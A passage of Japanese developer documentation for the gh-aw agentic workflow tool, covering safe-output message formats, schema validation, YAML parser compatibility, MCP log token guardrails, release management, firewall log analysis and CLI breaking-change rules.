- フォークからの PR を安全に処理している
静的解析
- actionlint が通過する(エラーなし)
- zizmor が通過する(High/Critical の問題に対処済み)
- poutine が通過する(サプライチェーンが安全)
安全な出力メッセージ
安全な出力関数は、一貫したメッセージパターンを使用して、AI 生成コンテンツから GitHub API の書き込み操作(イシュー、ディスカッション、コメント、PR の作成)を処理します。
安全な出力メッセージのフロー
次の図は、AI 生成コンテンツが安全な出力システムを経由して GitHub API 操作に至る流れを示しています。
graph TD
A[AI Agent Output] --> B{Staged Mode?}
B -->|Yes| C[Generate Preview Messages]
B -->|No| D[Process Safe Output]
C --> E[Show 🎭 Staged Mode Preview]
E --> F[Display in Step Summary]
D --> G{Safe Output Type}
G -->|create-issue| H[Create GitHub Issue]
G -->|create-discussion| I[Create GitHub Discussion]
G -->|add-comment| J[Add GitHub Comment]
G -->|create-pull-request| K[Create Pull Request]
G -->|create-pr-review-comment| L[Create PR Review Comment]
G -->|update-issue| M[Update GitHub Issue]
H --> N[Apply Message Patterns]
I --> N
J --> N
K --> N
L --> N
M --> N
N --> O[Add AI Attribution Footer]
N --> P[Add Installation Instructions]
N --> Q[Add Related Items Links]
N --> R[Add Patch Preview]
O --> S[Execute GitHub API Operation]
P --> S
Q --> S
R --> S
S --> T[Generate Success Summary]
T --> U[Display in Step Summary]
フローの段階:
- AI エージェントの出力 - AI が GitHub 操作のコンテンツを生成します
- ステージングモードの確認 - 操作がプレビューモードかどうかを判定します
- 安全な出力処理 - 適切な GitHub 操作の種類に振り分けます
- メッセージパターンの適用 - 一貫した書式(フッター、手順、リンク)を適用します
- GitHub API の実行 - 実際の GitHub 操作を実行します
- 成功サマリー - ワークフローのステップサマリーで結果を報告します
メッセージのカテゴリ
AI の帰属を示すフッター
コンテンツが AI によって生成されたことを示し、ワークフローの実行にリンクします。
> AI generated by [WorkflowName](run_url)
トリガーコンテキストがある場合:
> AI generated by [WorkflowName](run_url) for #123
ワークフローのインストール手順
>
> To add this workflow in your repository, run `gh aw add owner/repo/path@ref`. See [usage guide](https://github.github.com/gh-aw/setup/cli/).
ステージングモードのプレビュー
すべてのステージングモードのプレビューで、🎭 絵文字を使った一貫した書式を使用します。
## 🎭 Staged Mode: [Operation Type] Preview
The following [items] would be [action] if staged mode was disabled:
パッチのプレビュー
サイズ制限を設けて、プルリクエストの本文に Git パッチを表示します。
<details><summary>Show patch (45 lines)</summary>
\`\`\`diff
diff --git a/src/auth.js b/src/auth.js
index 1234567..abcdefg 100644
--- a/src/auth.js
+++ b/src/auth.js
@@ -10,7 +10,10 @@ export async function login(username, password) {
- throw new Error('Login failed');
+ if (response.status === 401) {
+ throw new Error('Invalid credentials');
+ }
+ throw new Error('Login error: ' + response.statusText);
\`\`\`
</details>
制限:最大 500 行または 2000 文字です(超過した場合は「... (truncated)」を付けて切り詰めます)。
設計原則
一貫性
- すべての AI 生成コンテンツで、同じ引用ブロックのフッター書式を使用します
- 🎭 絵文字でステージングプレビューモードを一貫して示します
- URL のパターンは GitHub の規約に合わせます
- ステップサマリーでは同じ見出しとリストの構成を使用します
明確さ
- プレビュー操作と実際の操作を明確に区別します
- 実行可能な対処方法を示す明確なエラーメッセージを表示します
- 操作に失敗した場合は、役立つ代替手順を示します
- フィールドラベルには一貫して太字を使用します
見つけやすさ
- 利用可能な場合は、フッターにインストール手順を含めます
- ワークフローの出力全体で関連項目を自動的にリンクします
- ステップサマリーから作成済みの項目にすばやくアクセスできます
- 折りたたみ可能なセクションで長いコンテンツを扱いやすくします
安全性
- 意図しない @メンションを防ぐため、ラベルをサニタイズします
- パッチサイズを検証し、必要に応じて切り詰めます
- ステージングモードを使うと、副作用なしでテストできます
- 主要な操作に失敗した場合は、適切にフォールバックします
スキーマ検証
3 つの JSON スキーマファイルはすべて、ルートレベルで "additionalProperties": false を指定して厳密な検証を行い、タイプミスや未定義のフィールドが検証をすり抜けないようにしています。
スキーマファイル
| ファイル | 目的 |
|---|---|
pkg/parser/schemas/main_workflow_schema.json | .github/workflows/*.md ファイルのエージェント型ワークフローのフロントマターを検証します |
pkg/parser/schemas/mcp_config_schema.json | MCP(Model Context Protocol)サーバー設定を検証します |
仕組み
ルートレベルで "additionalProperties": false を設定すると、バリデーターはスキーマの properties セクションで明示的に定義されていないプロパティをすべて拒否します。これにより、次のようなよくあるタイプミスを検出できます。
permisions(permissionsの誤記)engnie(engineの誤記)toolz(toolsの誤記)timeout_minute(timeout-minutesの誤記)runs_on(runs-onの誤記)safe_outputs(safe-outputsの誤記)
検証エラーの例
$ gh aw compile workflow-with-typo.md
✗ error: Unknown properties: toolz, engnie, permisions. Valid fields are: tools, engine, permissions, ...
検証プロセス
graph LR
A[Read workflow frontmatter] --> B[Parse YAML]
B --> C[Validate against JSON schema]
C --> D{Valid?}
D -->|Yes| E[Continue compilation]
D -->|No| F[Provide detailed error]
F --> G[Show invalid fields]
F --> H[Show valid field names]
バイナリへのスキーマの埋め込み
スキーマは //go:embed ディレクティブを使用して Go バイナリに埋め込まれます。
//go:embed schemas/main_workflow_schema.json
var mainWorkflowSchema string
つまり、次のようになります。
- スキーマの変更を反映するには、
make buildを実行する必要があります - スキーマはビルド時ではなく、実行時に検証されます
- バイナリと一緒に外部の JSON ファイルを配布する必要はありません
新しいフィールドの追加
スキーマに新しいフィールドを追加するときは、次の手順に従います。
- 新しいプロパティ定義でスキーマ JSON ファイルを更新します
make buildでバイナリを再ビルドします- 新しいフィールドが機能することを確認するテストケースを追加します
- フィールドがユーザー向けの場合は、ドキュメントを更新します
YAML 互換性
YAML には互換性のないブール値の解析動作を持つ 2 つの主要なバージョンがあり、ワークフローの検証に影響します。
中心的な問題
YAML 1.1 のブール値解析の問題
YAML 1.1 では、特定のプレーン文字列が自動的にブール値に変換されます。ワークフローのトリガーキー on: が、文字列 "on" ではなくブール値 true として誤解釈されることがあります。
例:
# Python yaml.safe_load (YAML 1.1 parser)
import yaml
content = """
on:
issues:
types: [opened]
"""
result = yaml.safe_load(content)
print(result)
# Output: {True: {'issues': {'types': ['opened']}}}
# ^^^^ The key is boolean True, not string "on"!
これにより、Python ベースのツールでワークフローを検証する際に誤検出が発生します。
YAML 1.2 の正しい動作
YAML 1.2 パーサーは on、off、yes、no をブール値ではなく通常の文字列として扱います。明示的なブール値リテラル true と false のみがブール値として扱われます。
例:
// Go goccy/go-yaml (YAML 1.2 parser) - Used by gh-aw
var result map[string]interface{}
yaml.Unmarshal([]byte(content), &result)
fmt.Printf("%+v\n", result)
// Output: map[on:map[issues:map[types:[opened]]]]
// ^^^ The key is string "on" ✓
gh-aw の対応方法
GitHub Agentic Workflows は、YAML 1.2 準拠のパーサーである goccy/go-yaml v1.18.0 を使用します。
- ✅
on:はブール値ではなく、文字列キーとして正しく解析されます - ✅ ワークフローのフロントマター検証が正しく機能します
- ✅ GitHub Actions の YAML と互換性があります(GitHub Actions も YAML 1.2 の解析を使用します)
互換性の流れ
graph TD
A[Workflow File] --> B{Parser Type?}
B -->|YAML 1.1| C[Python yaml.safe_load]
B -->|YAML 1.2| D[gh-aw / goccy/go-yaml]
C --> E[on: parsed as True]
D --> F[on: parsed as string]
E --> G[False Positive]
F --> H[Correct Validation]
影響を受けるキーワード
YAML 1.1 では、次の値がブール値として扱われます(true または false として解析されます)。
true として解析: on, yes, y, Y, YES, Yes, ON, On
false として解析: off, no, n, N, NO, No, OFF, Off
YAML 1.2 では上記すべてを文字列として扱います。ブール値として扱うのは true と false のみです。
推奨事項
ワークフロー作成者向け
-
検証には gh-aw のコンパイラーを使用してください。
gh aw compile workflow.md -
検証に Python の yaml.safe_load を使用しないでください。
on:トリガーキーで誤検出が発生します。 -
ブール値を指定する場合は、明示的なブール値を使用してください。
enabled: true # Explicit boolean disabled: false # Explicit boolean # Avoid for boolean values: enabled: yes # Might be confusing across parsers disabled: no # Might be confusing across parsers
ツール開発者向け
-
gh-aw との統合には YAML 1.2 パーサーを使用してください。
- Go:
github.com/goccy/go-yaml - Python:
ruamel.yaml(YAML 1.2 モード) - JavaScript:
yamlパッケージ v2 以降(デフォルトで YAML 1.2) - Ruby:
Psych(Ruby 2.6 以降ではデフォルトで YAML 1.2)
- Go:
-
ツールで使用するパーサーのバージョンを記載してください
-
YAML 1.1 と 1.2 の解析を切り替える互換モードの追加を検討してください
MCP ログのガードレール
MCP サーバーの logs コマンドには、ワークフローのログ取得時に応答が過剰になるのを防ぐ自動ガードレールが含まれています。
仕組み
graph TD
A[logs command called] --> B[Generate output]
B --> C{Output size check}
C -->|≤ 12000 tokens| D[Return full JSON data]
C -->|> 12000 tokens| E[Return guardrail message]
E --> F[Include schema description]
E --> G[Provide suggested jq queries]
通常の動作(出力 ≤ トークン制限)
出力がトークン制限内(デフォルト:12000 トークン)の場合、コマンドは完全な JSON データを返します。
{
"summary": {
"total_runs": 5,
"total_duration": "2h30m",
"total_tokens": 45000,
"total_cost": 0.23
},
"runs": [...],
"tool_usage": [...]
}
ガードレールの作動(出力 > トークン制限)
出力がトークン制限を超える場合、コマンドは次の構造化されたレスポンスを返します。
{
"message": "⚠️ Output size (15000 tokens) exceeds the limit (12000 tokens). To reduce output size, use the 'jq' parameter with one of the suggested queries below.",
"output_tokens": 15000,
"output_size_limit": 12000,
"schema": { ... },
"suggested_queries": [
{
"description": "Get only the summary statistics",
"query": ".summary",
"example": "Use jq parameter: \".summary\""
},
...
]
}
トークン制限の設定
デフォルトの制限は 12000 トークン(テキスト約 48 KB)です。max_tokens パラメーターを使用してカスタマイズできます。
{
"name": "logs",
"arguments": {
"count": 100,
"max_tokens": 20000
}
}
トークン数の推定には、1 トークンあたり約 4 文字(OpenAI の経験則)を使用します。
jq パラメーターの使用
jq 構文を使用して出力をフィルターします。
サマリー統計のみを取得:
{ "jq": ".summary" }
実行 ID と基本情報を取得:
{ "jq": ".runs | map({database_id, workflow_name, status})" }
失敗した実行のみを取得:
{ "jq": ".runs | map(select(.conclusion == \"failure\"))" }
トークン使用量の多い実行を取得:
{ "jq": ".runs | map(select(.token_usage > 10000))" }
実装の詳細
定数:
DefaultMaxMCPLogsOutputTokens:12000 トークン(デフォルトの制限)CharsPerToken:1 トークンあたり 4 文字(推定係数)
ファイル:
pkg/cli/mcp_logs_guardrail.go- ガードレールのコア実装pkg/cli/mcp_logs_guardrail_test.go- 単体テストpkg/cli/mcp_logs_guardrail_integration_test.go- 統合テストpkg/cli/mcp_server.go- MCP サーバーとの統合
利点
- AI モデルへの過剰なレスポンスを防止します
- 具体的なフィルターを使ったガイダンスを提供します
- スキーマの説明により、自己説明的です
- jq によるフィルタリングで機能を維持します
- ガードレールが作動した理由を明確に伝えます
リリース管理
このプロジェクトでは、@changesets/cli に着想を得た、シンプルな changeset ベースのリリースシステムを使用しています。
コマンド
version(プレビューのみ)
version コマンドはプレビューモードで動作し、ファイルを変更することはありません。
node scripts/changeset.js version
# Or
make version
このコマンドは次の処理を行います。
.changeset/ディレクトリにあるすべての changeset ファイルを読み取ります- 適切なバージョン更新(major > minor > patch)を判定します
- CHANGELOG エントリーのプレビューを表示します
- ファイルを変更することはありません
release [type] [--yes|-y]
release コマンドは実際のリリースを作成します。
node scripts/changeset.js release
# Or (recommended - runs tests first)
make release
このコマンドは次の処理を行います。
- 前提条件を確認します(クリーンなツリー、main ブランチ)
- 新しいバージョンと変更内容を
CHANGELOG.mdに反映します - 処理済みの changeset ファイルを削除します(存在する場合)
- 変更を自動的にコミットします
- リリース用の Git タグを作成してプッシュします
フラグ:
--yesまたは-y:確認プロンプトをスキップします
リリースワークフロー
graph TD
A[Add changeset files] --> B[Preview with version command]
B --> C{Changes look good?}
C -->|No| D[Modify changesets]
D --> B
C -->|Yes| E[Run release command]
E --> F[Update CHANGELOG.md]
F --> G[Delete changeset files]
G --> H[Commit changes]
H --> I[Create git tag]
I --> J[Push tag to remote]
Changeset ファイル形式
Changeset ファイルは、YAML フロントマターを含む .changeset/ ディレクトリ内の Markdown ファイルです。
"gh-aw": patch
Brief description of the change
バージョン更新の種類:
patch- バグ修正と小規模な変更(0.0.x)minor- 新機能、後方互換性あり(0.x.0)major- 破壊的変更(x.0.0)
リリースの前提条件
release の実行時に、スクリプトは次の項目を確認します。
- クリーンな作業ツリー: すべての変更をコミットするか、スタッシュしておく必要があります
- main ブランチ上にいること: リリースを作成するには、
mainブランチ上にいる必要があります
Changeset を使わないリリース
依存関係の更新を伴うメンテナンスリリースの場合:
# Defaults to patch release
node scripts/changeset.js release
# Or specify release type explicitly
node scripts/changeset.js release minor
# Skip confirmation
node scripts/changeset.js release --yes
スクリプトは次の処理を行います。
- 種類が指定されていない場合、デフォルトで patch リリースにします
- 汎用的な「Maintenance release」エントリーを CHANGELOG.md に追加します
- 変更をコミットします
- Git タグを作成します
- タグをリモートにプッシュします
ファイアウォールログの解析
ファイアウォールログパーサーは、エージェント型ワークフローの実行におけるネットワークトラフィックログを分析します。
ログ形式
ファイアウォールログは、10 個のフィールドをスペースで区切った形式です。
timestamp client_ip:port domain dest_ip:port proto method status decision url user_agent
例:
1761332530.474 172.30.0.20:35288 api.enterprise.githubcopilot.com:443 140.82.112.22:443 1.1 CONNECT 200 TCP_TUNNEL:HIER_DIRECT api.enterprise.githubcopilot.com:443 "-"
フィールドの説明
- timestamp - 小数部を含む Unix タイムスタンプ(例:「1761332530.474」)
- client_ip:port - クライアントの IP アドレスとポート、または「-」
- domain - 対象のドメイン:ポート、または「-」
- dest_ip:port - 宛先の IP アドレスとポート、または「-」
- proto - プロトコルのバージョン(例:「1.1」)、または「-」
- method - HTTP メソッド(例:「CONNECT」、「GET」)、または「-」
- status - HTTP ステータスコード(例:「200」、「403」)、または「0」
- decision - プロキシの判定(例:「TCP_TUNNEL:HIER_DIRECT」)、または「-」
- url - リクエスト URL、または「-」
- user_agent - ユーザーエージェント文字列(引用符付き)、または「-」
リクエストの分類
graph TD
A[Parse log line] --> B{Check status}
B -->|200, 206, 304| C[Allowed]
B -->|403, 407| D[Denied]
B -->|Other| E{Check decision}
E -->|Contains TCP_TUNNEL, TCP_HIT, TCP_MISS| C
E -->|Contains NONE_NONE, TCP_DENIED| D
E -->|Other| F[Denied by default]
許可される指標:
- ステータスコード:200、206、304
TCP_TUNNEL、TCP_HIT、TCP_MISSを含む判定
拒否される指標:
- ステータスコード:403、407
NONE_NONE、TCP_DENIEDを含む判定
デフォルト: 分類が曖昧な場合は安全のため拒否
出力例
コンソール出力
🔥 Firewall Log Analysis
Total Requests : 8
Allowed Requests : 5
Denied Requests : 3
Allowed Domains:
✓ api.enterprise.githubcopilot.com:443 (1 requests)
✓ api.github.com:443 (2 requests)
Blocked Domains:
✗ blocked-domain.example.com:443 (2 requests)
JSON 出力
{
"firewall_log": {
"total_requests": 8,
"allowed_requests": 5,
"blocked_requests": 3,
"allowed_domains": [
"api.enterprise.githubcopilot.com:443",
"api.github.com:443"
],
"blocked_domains": [
"blocked-domain.example.com:443"
],
"requests_by_domain": {
"api.github.com:443": {
"allowed": 2,
"blocked": 0
}
}
}
}
統合ポイント
logs コマンドと audit コマンドは、次の処理を自動的に行います。
- 実行ディレクトリ内のファイアウォールログを検索します
firewall-logs/またはsquid-logs/ディレクトリ内のすべての.logファイルを解析します- すべてのログファイルの統計を集計します
- コンソールと JSON の出力にファイアウォール分析を含めます
- 結果を
run_summary.jsonにキャッシュします
実装
ファイル:
pkg/cli/firewall_log.go(396 行) - コアパーサーの実装pkg/cli/firewall_log_test.go(437 行) - 単体テストpkg/cli/firewall_log_integration_test.go(238 行) - 統合テスト
テスト:
# Unit tests
make test-unit
# Integration tests
go test ./pkg/cli -run TestFirewallLogIntegration
破壊的変更に関する CLI ルール
このセクションでは、gh-aw CLI における破壊的変更の定義を説明します。これらのルールは、メンテナーやコントリビューターがコードレビュー時に変更を評価し、ユーザーにとっての安定性を維持するのに役立ちます。
概要
既存のユーザーワークフローを妨げる可能性があるため、破壊的変更には開発時およびレビュー時に特別な注意が必要です。このセクションでは、破壊的変更を特定するための明確な基準と、その対応方法を示します。
変更のカテゴリ
破壊的変更(メジャーバージョンの更新)
次の変更は常に破壊的であり、以下が必要です。
majorのチェンジセットタイプ- 移行方法の説明を含む CHANGELOG.md への記載
- メンテナーによるレビュー
1. コマンドの削除または名前変更
破壊的変更:
- コマンドを完全に削除する(例:
gh aw logsの削除) - エイリアスなしでコマンド名を変更する(例:
gh aw compile→gh aw build) - サブコマンドを削除する(例:
gh aw mcp inspectの削除)
過去のリリース例:
- compile コマンドから
--no-instructionsフラグを削除(v0.17.0)
2. フラグの削除または名前変更
破壊的変更:
- フラグを削除する(例:
--strictフラグの削除) - 後方互換性を保たずにフラグ名を変更する(例:
--output→--out) - フラグの短縮形を変更する(例:
-o→-f) - 以前はデフォルト値が設定されていた必須フラグを、デフォルト値なしに変更する
過去のリリース例:
- Copilot 操作の GITHUB_TOKEN フォールバックを削除(v0.24.0)
3. 出力形式の変更
破壊的変更:
- JSON 出力の構造を変更する(フィールドの削除、フィールド名の変更)
- ユーザーが列の位置で解析する可能性がある表形式の出力で、列の順序を変更する
- 特定の状況での終了コードを変更する
- スクリプトが依存している可能性のある出力フィールドを削除する
過去のリリース例:
- status コマンドの JSON 出力構造を更新(v0.21.0):
agentをengine_idに置き換え、frontmatterとpromptフィールドを削除
4. 動作の変更
破壊的変更:
- フラグのデフォルト値を変更する(例:
strict: false→strict: true) - 認証要件を変更する
- 権限要件を変更する
- 既存のオプションの意味を変更する
過去のリリース例:
- strict モードのデフォルトを false から true に変更(v0.31.0)
- ツールごとの Squid プロキシを削除し、ネットワークフィルタリングを統一(v0.25.0)
5. スキーマの変更
破壊的変更:
- ワークフローの frontmatter スキーマからフィールドを削除する
- 任意フィールドを必須にする
- フィールドの型を変更する(例:string → object)
- 列挙型から許可値を削除する
過去のリリース例:
- メインの JSON スキーマから「defaults」セクションを削除(v0.24.0)
- 非推奨のトップレベルフィールド「claude」を削除(v0.24.0)
破壊的変更ではない変更(マイナーまたはパッチバージョンの更新)
次の変更は破壊的変更ではなく、通常は以下が必要です。
- 新機能には
minorの変更セット - バグ修正には
patchの変更セット
1. 追加
破壊的変更ではありません。
- 新しいコマンドの追加
- 適切なデフォルト値を持つ新しいフラグの追加
- JSON 出力への新しいフィールドの追加
- スキーマへの新しい任意フィールドの追加
- 列挙型への新しい許可値の追加
- 新しいシナリオに対する終了コードの追加
例:
- status コマンドへの
--jsonフラグの追加(v0.20.0) - mcp-server コマンドの追加(v0.17.0)
2. 非推奨化
(適切に対応する場合は)破壊的変更ではありません。
- コマンドの非推奨化(警告を表示し、機能は維持)
- フラグの非推奨化(警告を表示し、機能は維持)
- スキーマフィールドの非推奨化(警告を表示し、機能は維持)
非推奨化の要件:
- 非推奨の警告を stderr に出力する
- 非推奨化と移行方法を文書化する
- 非推奨機能を少なくとも1回のマイナーリリースの間は動作させる
- 将来のメジャーバージョンで削除する予定を立てる
3. バグ修正
(意図しない動作を修正する場合は)破壊的変更ではありません。
- 誤った出力の修正
- 誤った終了コードの修正
- 許容範囲が広すぎたスキーマ検証の修正
注:ユーザーが依存しているバグの修正には、破壊的変更の告知が必要になる場合があります。
4. パフォーマンスの改善
破壊的変更ではありません。
- 実行速度の向上
- メモリ使用量の削減
- 並列処理の最適化
5. ドキュメントの変更
破壊的変更ではありません。
- ヘルプテキストの改善
- 例の追加
- エラーメッセージの明確化
判断フロー:これは破壊的変更ですか?
graph TD
A[CLI Change Proposed] --> B{Removing or renaming<br/>command/subcommand/flag?}
B -->|Yes| BREAK1[BREAKING]
B -->|No| C{Modifying JSON output<br/>structure?}
C -->|Yes| BREAK2[BREAKING]
C -->|No| D{Altering default<br/>behavior?}
D -->|Yes| BREAK3[BREAKING]
D -->|No| E{Modifying exit codes<br/>for existing scenarios?}
E -->|Yes| BREAK4[BREAKING]
E -->|No| F{Removing schema fields<br/>or making optional required?}
F -->|Yes| BREAK5[BREAKING]
F -->|No| SAFE[NOT BREAKING]
BREAK1 --> REQ[Requires:<br/>- major changeset<br/>- Migration guide<br/>- Maintainer review]
BREAK2 --> REQ
BREAK3 --> REQ
BREAK4 --> REQ
BREAK5 --> REQ
SAFE --> ACT[Allowed:<br/>- minor for features<br/>- patch for fixes]
コントリビューター向けガイドライン
CLI を変更する場合:
- 変更を実装する前に判断フローを確認する
- 変更セットに破壊的変更を明確に記載する
- 破壊的変更の影響を受けるユーザー向けに移行ガイドを用意する
- 後方互換性を検討する。名前を変更する代わりにエイリアスを追加できますか?
- 削除する前に、少なくとも1回のマイナーリリースの間は非推奨の警告を使用する
破壊的変更の変更セット形式:
"gh-aw": major
Remove deprecated `--old-flag` option
**⚠️ Breaking Change**: The `--old-flag` option has been removed.
**Migration guide:**
- If you used `--old-flag value`, use `--new-flag value` instead
- Scripts using this flag will need to be updated
**Reason**: The option was deprecated in v0.X.0 and has been removed to simplify the CLI.
破壊的変更ではない変更の変更セット形式:
新機能の場合:
"gh-aw": minor
Add --json flag to logs command for structured output
バグ修正の場合:
"gh-aw": patch
Fix incorrect exit code when workflow file not found
CLI 変更のレビュー用チェックリスト
レビュー担当者は次の点を確認してください。
- 破壊的変更が正しく特定されている — この変更は破壊的変更の基準に該当しますか?
- 変更セットの種類が適切 — major/minor/patch のマークは正しいですか?
- 移行ガイドが用意されている — 破壊的変更の場合、明確な移行ドキュメントがありますか?
- 非推奨の警告が追加されている — 非推奨化する場合、ユーザーに警告しますか?
- 後方互換性が検討されている — 互換性を損なわずに実現できませんか?
- テストが更新されている — テストで変更後の動作を網羅していますか?
- ヘルプテキストが更新されている — CLI のヘルプは正確ですか?
終了コードの標準
CLI は標準の終了コードを使用します。
| 終了コード | 意味 | 変更は破壊的か |
|---|---|---|
| 0 | 成功 | いいえ(追加は問題ありません) |
| 1 | 一般エラー | いいえ(新しいエラーの場合) |
| 2 | 使用方法が無効 | いいえ(新しいチェックの場合) |
破壊的変更:既存のシナリオに対する終了コードを変更すること(例:特定のエラー種別について1から2に変更する)。
JSON 出力の標準
JSON 出力を追加または変更する場合:
- メジャーバージョンを更新せずにフィールドを削除しない
- メジャーバージョンを更新せずにフィールド名を変更しない
- メジャーバージョンを更新せずにフィールドの型を変更しない
- 新しいフィールドの追加は安全です。パーサーは不明なフィールドを無視する必要があります
- 新しい列挙値の追加は安全です。パーサーは不明な値を適切に処理する必要があります
厳格モードとセキュリティの変更
厳格モードの変更には特別な考慮が必要です。
- 厳格モードの検証を警告ではなく拒否に変更するのは破壊的変更です(例:v0.30.0)
- 厳格モードのデフォルトを変更するのは破壊的変更です(例:v0.31.0)
- 厳格モードの検証を新たに追加するのは破壊的変更ではありません(当初は厳格さがオプトインであるため)
参考資料
- 変更セットシステム:バージョン管理の詳細については、リリース管理のセクションを参照してください
- CHANGELOG:破壊的変更の例については、
CHANGELOG.mdを参照してください - セマンティックバージョニング:https://semver.org/
Go モジュールの概要
scratchpad/mods/ディレクトリには、Go Fan ワークフローによって作成された、gh-aw リポジトリにおける Go モジュールの使用パターンに関する AI 生成の概要が含まれています。
目的
Go モジュールの概要には、次の情報が記載されています。
- モジュールの概要とバージョン情報
- モジュールを使用するファイルと API
- モジュールの GitHub リポジトリからの調査結果
- 改善の機会(すぐに実施できる改善、機能の機会、ベストプラクティス)
- ドキュメントと変更履歴への参照
ファイル名の規則
モジュールの概要ファイルでは、Go モジュールのパスのスラッシュをハイフンに置き換えた、一貫性のある命名パターンを使用しています。
| モジュールのパス | ファイル名 |
|---|---|
github.com/goccy/go-yaml | goccy-go-yaml.md |
github.com/spf13/cobra | spf13-cobra.md |
github.com/stretchr/testify | stretchr-testify.md |
生成プロセス
概要はGo Fan ワークフローによって生成されます。
graph LR
A[Scheduled Trigger<br/>Weekdays 7 AM UTC] --> B[Load Cache Memory]
B --> C[Select Next Module<br/>Round-Robin]
C --> D[Analyze Module Usage]
D --> E[Research GitHub Repo]
E --> F[Generate Summary]
F --> G[Write to scratchpad/mods/]
G --> H[Update Cache Memory]
H --> I[Commit & Push]
更新頻度:平日(月曜日~金曜日)の UTC 午前 7 時
ラウンドロビン選択:このワークフローではキャッシュメモリを使って、最後に分析したモジュールを記録し、各モジュールが順番に更新されるようにします。
使用ガイドライン
コードベースで Go モジュールを扱う際は、次の点に従ってください。
scratchpad/mods/にある既存の概要を確認し、モジュール固有のパターンとベストプラクティスを把握します- モジュールの使用方法をアップグレードまたはリファクタリングする際は、改善の機会を参考にします
- 信頼できる情報源として、概要に記載されている API ドキュメントへのリンクを参照します
- モジュールの使用パターンに大きな変更を加えた場合は、概要を手動で更新します(ワークフローの次回実行時に内容が更新されます)
概要の内容
各モジュールの概要には、次のセクションが含まれています。
- モジュールの概要:使用中のバージョンと一般的な用途
- 使用状況の分析:モジュールを使用するファイルとコードの場所
- API の範囲:使用されている関数、型、メソッド
- 調査結果:モジュールのリポジトリから得られた情報(最近のリリース、ドキュメント、ベストプラクティス)
- 改善の機会:モジュールの使用方法を改善するための提案
- 参考資料:ドキュメント、変更履歴、GitHub リポジトリへのリンク
**最終更新日:**2025-12-01 **メンテナー:**GitHub Next Team